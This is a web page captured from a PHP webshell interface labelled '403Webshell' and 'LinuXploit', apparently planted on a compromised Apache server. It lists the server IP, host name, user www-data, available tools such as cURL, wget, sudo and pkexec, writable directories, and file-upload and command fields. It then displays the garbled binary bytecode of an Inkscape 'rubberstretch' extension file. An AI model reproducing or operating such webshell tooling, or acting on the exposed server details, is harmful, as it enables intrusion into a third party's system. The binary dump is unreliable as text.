403Webshell
Server IP : 93.86.61.54  /  Your IP : 216.73.216.60
Web Server : Apache/2.4.62 (Ubuntu)
System : Linux rasin.ddns.net 6.8.0-124-generic #124~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 21:05:19 UTC x86_64
User : www-data ( 33)
PHP Version : 8.4.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/inkscape/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/inkscape/extensions/__pycache__/rubberstretch.cpython-310.pyc
o

5�a��@sRdZddlmZmZddlmZddlZGdd�de�Zedkr'e��	�dSdS)z�
Distorts selected paths, stretching it vertically while squeezing horizontally.

Amount is controlled by ratio parameter.

Curve gives further effect by bunching the surface towards the ends.
�)�X�Y)�DiffeoNc@s:eZdZdZedd��Zedd��Zdd�Zddd	�Zd
S)�
RubberStretchzDistort selected pathscCs|jjdS)N�d)�options�ratio��self�r�//usr/share/inkscape/extensions/rubberstretch.py�<lambda>#szRubberStretch.<lambda>cCst|jjdd�S)Nrg�G�z��?)�minr�curver	rrrr
$scCs(|jddtdd�|jddtdd�dS)Nz-rz--ratio�)�type�defaultz-cz--curve)�add_argument�float)r
�parsrrr�
add_arguments&szRubberStretch.add_argumentsrcCs |D]}|d|d8<|d|d8<|dd9<q|dd9<|jjj}|jjj}|d||d|}}d|j||jjdd||jjddd|j}d|j||jjdd||jjddd|j}	|||	|d<||||d<|D]U}|	}
|d|j||jj|jjd|j}|d|j||jj|jjd|j||}d|}
|
|t||t	|d<||t|
|t	|d<q�|D]}|d|d7<|d|d7<|dd9<q�|dd9<dS)Nr�����)
�bbox�center�x�yr�widthr�heightrr)r
�bpt�vects�vect�bx0�by0rr�sx1�sy1�dx_dx�dx_dy�dy_dx�dy_dyrrr�applyDiffeo*sP
����,����zRubberStretch.applyDiffeoN)r)	�__name__�
__module__�__qualname__�__doc__�propertyrrrr+rrrrr!sr�__main__)
r/�inkex.utilsrr�pathmodifierr�inkexrr,�runrrrr�<module>s2�

Youez - 2016 - github.com/yon3zu
LinuXploit